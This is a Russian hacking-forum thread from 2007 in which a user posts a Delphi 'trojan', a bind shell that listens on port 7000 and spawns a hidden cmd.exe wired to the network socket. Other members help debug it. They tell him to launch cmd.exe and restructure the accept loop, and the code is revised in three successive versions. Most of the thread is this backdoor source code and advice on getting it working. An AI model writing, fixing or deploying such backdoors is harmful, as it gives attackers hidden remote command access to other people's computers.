Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   небольшой трой Bs (https://forum.antichat.xyz/showthread.php?t=50409)

_PARAZIT_ 03.10.2007 17:31

небольшой трой Bs
 
народ помогите кто может и понимает в этом деле...
тока без лишнего трепа типа я крутой хакер а ты ламо...если можешь помоги!
написал эту дрянь (еще начало тока типа) - а она не работает... я конечно может не понимаю смысл и методику использования CreateProcess........ какие сдесь ошибки, подскажите...(ошибки в ДНК не принимаюцца:) )
Код:

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len);
        while true do begin
        rec:=recv(s_cln, st, 100, 0);
        if rec=0 then break
                else begin
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'dir с:',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
                        FillChar(st,255,#0);
                end;
        end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.


a1ex 03.10.2007 17:36

Ты ли это написал?
И что он делает?

Ni0x 03.10.2007 18:47

Есть такая штука, называется MSDN, там ты найдешь комментарий по каждой документированной функции.
Цитата:

http://msdn2.microsoft.com/ru-ru/default.aspx
И если ты хочешь, чтобы тебе помогли, нужно четко выкладывать суть своей проблемы.

Ky3bMu4 03.10.2007 18:53

Это биндшелл на дельфях... Как мило.:)

У тя в CreateProcess вместо 'dir с:' должно быть 'cmd.exe' .

_PARAZIT_ 03.10.2007 19:19

да... это bind shell на делфях... сначало надо сделать и догнать все на делфях что б приступить на С, а то там ваще все темно и надо приступать со знание дела...

вобщем суть такова что он неработает почемуто...
Код:

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0); //создаем сокет
sa.sin_family:=AF_INET; //настрайваем его
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3); //число клиентов
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len); //...кто то подключился
        while true do begin //начинаем цикл обработки подключенного клиента
        rec:=recv(s_cln, st, 100, 0); // принимаем команду
        if rec=0 then break //если команда действительно есть то начинаем создавать процесс
                else begin
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'dir',NIL, NIL,TRUE,0,NIL,NIL,si,pi); //во всех примера там где у меня dir стоит конечноже cmd (командный интерпретатор), но я думал просто что именно сюда надо прописать команду...или же команда выполняется автоматически с приходом чегонибудь в сокет из-за вот этой строчки si.hStdInput:=s_cln;
                        FillChar(st,255,#0);
                end;
        end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.

где неправильная логика? и вообще так ли пишут bind shell-ы? патамучто он даже если dir изменить на cmd... всеравно не пашет...протесть пожалуйста ктонибудь.

Ky3bMu4 03.10.2007 19:54

Код:

rec:=recv(s_cln, st, 100, 0); // принимаем команду
        if rec=0 then break

Это не нужно. Срузу после
Код:

s_cln:=accept(s,@addr_from,@len);
Нужно заполнять структуру:
Код:

si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
...

И ещё раз говорю: нинадо никаких dir`ов, только 'cmd.exe'. После telnet`на забинденый порт получишь коммандную строку и всё.

_PARAZIT_ 03.10.2007 20:31

исправил...
Код:

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len);
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'cmd.exe',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
//closesocket(s_cln);
end;
closesocket(s_cln);

closesocket(s);
WSACleanup();
end.

при коннекте к нему как тока в телнете напишешь хоть одну букву сразу обрывается соединение...
closesocket(s_cln); ставил и в теле цикла и за ним - всеравно одно и то же...

W!z@rD 03.10.2007 22:30

если подождешь... завтра кину парочку рабочих версий... сорцы на дельфи...

p.s. в bindshell'ах надо winsock2 юзать.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
перед всеми извиняюсь...
в winsock2 позволяет перенаправлять поток из консоли... туплю... да и вобщем пора бы понять что я ничего не знаю...

Ni0x 03.10.2007 22:54

Цитата:

p.s. в bindshell'ах надо winsock2 юзать.
Это ты где такого начитался? Фленов, Кузьмич или может быть еще ктото? Я так полагаю этот вывод был сделан на основе пробемы связанной с SO_OPENTYPE? Может быть ты не в курсе, что UNIX системы крутятся на первых сокетах? Вот реально, только на античате в разделе кодинг можно поднять себе настроение на весь день.

KEZ 03.10.2007 23:58

не гони, полно таких форумов, вот этот почитай когда скучно будет
http://www.sql.ru/forum/actualthread.aspx?bid=16&tid=466654&pg=1


Время: 15:55